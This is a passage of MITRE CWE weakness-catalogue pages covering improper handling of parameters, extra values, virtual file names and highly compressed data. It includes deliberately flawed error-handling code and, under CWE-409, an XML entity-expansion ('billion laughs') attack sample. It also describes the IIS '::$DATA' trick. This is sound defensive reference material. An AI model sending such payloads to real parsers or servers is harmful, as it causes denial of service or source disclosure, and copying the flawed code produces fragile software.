ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.756Missing Custom Error Page
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1020Verify Message Integrity
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Other

+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

The following example attempts to resolve a hostname.

(bad code)
Example Language: Java 
protected void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException {
String ip = req.getRemoteAddr();
InetAddress addr = InetAddress.getByName(ip);
...
out.println("hello " + addr.getHostName());
}

A DNS lookup failure will cause the Servlet to throw an exception.

Example 2

The following example attempts to allocate memory for a character. After the call to malloc, an if statement is used to check whether the malloc function failed.

(bad code)
Example Language:
foo=malloc(sizeof(char)); //the next line checks to see if malloc failed
if (foo==NULL) {
//We do nothing so we just ignore the error.
}

The conditional successfully detects a NULL return value from malloc indicating a failure, however it does not do anything to handle the problem. Unhandled errors may have unexpected results and may cause the program to crash or terminate.

Instead, the if block should contain statements that either attempt to fix the problem or notify the user that an error has occurred and continue processing or perform some cleanup and gracefully terminate the program. The following example notifies the user that the malloc function did not allocate the required memory resources and returns an error code.

(good code)
Example Language:
foo=malloc(sizeof(char)); //the next line checks to see if malloc failed
if (foo==NULL) {
printf("Malloc failed to allocate memory resources");
return -1;
}

Example 3

The following code mistakenly catches a NullPointerException.

(bad code)
Example Language: Java 
try {
mysteryMethod();
} catch (NullPointerException npe) {
}
+ Observed Examples
ReferenceDescription
SDK for OPC Unified Architecture (OPC UA) server has uncaught exception when a socket is blocked for writing but the server tries to send an error
Chain: JavaScript-based cryptocurrency library can fall back to the insecure Math.random() function instead of reporting a failure (CWE-392), thus reducing the entropy (CWE-332) and leading to generation of non-unique cryptographic keys for Bitcoin wallets (CWE-1391)
virtual interrupt controller in a virtualization product allows crash of host by writing a certain invalid value to a register, which triggers a fatal error instead of returning an error code
Chain: OS kernel does not properly handle a failure of a function call (CWE-755), leading to an unlock of a resource that was not locked (CWE-832), with resultant crash.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.880CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.962SFP Secondary Cluster: Unchecked Status Condition
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1003Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1405Comprehensive Categorization: Improper Check or Handling of Exceptional Conditions
+ Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Abstraction

Rationale:

This CWE entry is a level-1 Class (i.e., a child of a Pillar). It might have lower-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ References
[REF-1374] Unciphered. "Randstorm: You Can't Patch a House of Cards". 2023-11-14. <https://www.unciphered.com/blog/randstorm-you-cant-patch-a-house-of-cards>. URL validated: 2023-11-15.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2009-03-03
(CWE 1.3, 2009-03-10)
CWE Content TeamMITRE
New entry for reorganization of CWE-703.
+ Modifications
Modification DateModifierOrganization
2009-12-28CWE Content TeamMITRE
updated Applicable_Platforms, Likelihood_of_Exploit, Time_of_Introduction
2010-12-13CWE Content TeamMITRE
updated Description, Observed_Examples
2011-03-29CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Likelihood_of_Exploit, Modes_of_Introduction, Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Observed_Examples
2022-04-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description, Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples, Mapping_Notes, Observed_Examples, References, Relationships

CWE-235: Improper Handling of Extra Parameters

Weakness ID: 235
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not handle or incorrectly handles when the number of parameters, fields, or arguments with the same name exceeds the expected amount.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.233Improper Handling of Parameters
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationThis typically occurs in situations when only one element is expected to be specified.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

+ Observed Examples
ReferenceDescription
MIE. multiple gateway/security products allow restriction bypass using multiple MIME fields with the same name, which are interpreted differently by clients.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.993SFP Secondary Cluster: Incorrect Input Handling
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1348OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

This type of problem has a big role in multiple interpretation vulnerabilities and various HTTP attacks.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERExtra Parameter Error
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships, Relationship_Notes, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Description, Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2013-07-17CWE Content TeamMITRE
updated Description, Type
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Time_of_Introduction
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Extra Parameter Error
2009-03-10Failure to Handle Extra Parameter

CWE-231: Improper Handling of Extra Values

Weakness ID: 231
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not handle or incorrectly handles when more values are provided than expected.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.229Improper Handling of Values
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.120Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationThis typically occurs in situations when only one value is expected.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.993SFP Secondary Cluster: Incorrect Input Handling
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

This can overlap buffer overflows.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERExtra Value Error
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships, Relationship_Notes, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Description, Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2013-07-17CWE Content TeamMITRE
updated Description, Type
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Time_of_Introduction
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Extra Value Error
2009-03-10Failure to Handle Extra Value

CWE-66: Improper Handling of File Names that Identify Virtual Resources

Weakness ID: 66
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not handle or incorrectly handles a file name that identifies a "virtual" resource that is not directly specified within the directory that is associated with the file name, causing the product to perform file-based operations on a resource that is not a file.
+ Extended Description
Virtual file names are represented like normal file names, but they are effectively aliases for other resources that do not behave like normal files. Depending on their functionality, they could be alternate entities. They are not necessarily listed in directories.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.706Use of Incorrectly-Resolved Name or Reference
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.67Improper Handling of Windows Device Names
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.69Improper Handling of Windows ::DATA Alternate Data Stream
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.72Improper Handling of Apple HFS+ Alternate Data Stream Path
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1219File Handling Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Other

+ Observed Examples
ReferenceDescription
In IIS, remote attackers can obtain source code for ASP files by appending "::$DATA" to the URL.
Server allows remote attackers to read files and resource fork content via HTTP requests to certain special file names related to multiple data streams in HFS+.
Server allows remote attackers to cause a denial of service via a series of requests to .JSP files that contain an MS-DOS device name.
+ Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Fuzz Tester
  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Focused Manual Spotcheck - Focused manual analysis of source
  • Manual Source Code Review (not inspections)

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Functional Areas
  • File Processing
+ Affected Resources
  • File or Directory
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1404Comprehensive Categorization: File Handling
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERVirtual Files
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Taxonomy_Mappings, Type
2009-03-10CWE Content TeamMITRE
updated Description, Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships
2017-11-08CWE Content TeamMITRE
updated Affected_Resources, Applicable_Platforms, Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Virtual Files
2009-03-10Failure to Handle File Names that Identify Virtual Resources

CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)

Weakness ID: 409
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output.
+ Extended Description
An example of data amplification is a "decompression bomb," a small ZIP file that can produce a large amount of data when it is decompressed.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.405Asymmetric Resource Consumption (Amplification)
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.19Data Processing Errors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability

Technical Impact: DoS: Amplification; DoS: Crash, Exit, or Restart; DoS: Resource Consumption (CPU); DoS: Resource Consumption (Memory)

System resources, CPU and memory, can be quickly consumed. This can lead to poor system performance or system crash.
+ Demonstrative Examples

Example 1

The DTD and the very brief XML below illustrate what is meant by an XML bomb. The ZERO entity contains one character, the letter A. The choice of entity name ZERO is being used to indicate length equivalent to that exponent on two, that is, the length of ZERO is 2^0. Similarly, ONE refers to ZERO twice, therefore the XML parser will expand ONE to a length of 2, or 2^1. Ultimately, we reach entity THIRTYTWO, which will expand to 2^32 characters in length, or 4 GB, probably consuming far more data than expected.

(attack code)
Example Language: XML 
<?xml version="1.0"?>
<!DOCTYPE MaliciousDTD [
<!ENTITY ZERO "A">
<!ENTITY ONE "&ZERO;&ZERO;">
<!ENTITY TWO "&ONE;&ONE;">
...
<!ENTITY THIRTYTWO "&THIRTYONE;&THIRTYONE;">
]>
<data>&THIRTYTWO;</data>
+ Observed Examples
ReferenceDescription
XML bomb in web server module
Parsing library allows XML bomb
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.845The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.977SFP Secondary Cluster: Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1134SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERData Amplification
The CERT Oracle Secure Coding Standard for Java (2011)IDS04-JLimit the size of files passed to ZipInputStream
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2009-05-27CWE Content TeamMITRE
updated Description, Name
2009-07-27CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Observed_Examples, Relationships, Taxonomy_Mappings
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Data Amplification
2009-05-27Failure to Handle Highly Compressed Data (Data Amplification)

CWE-238: Improper Handling of Incomplete Structural Elements

Weakness ID: 238
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
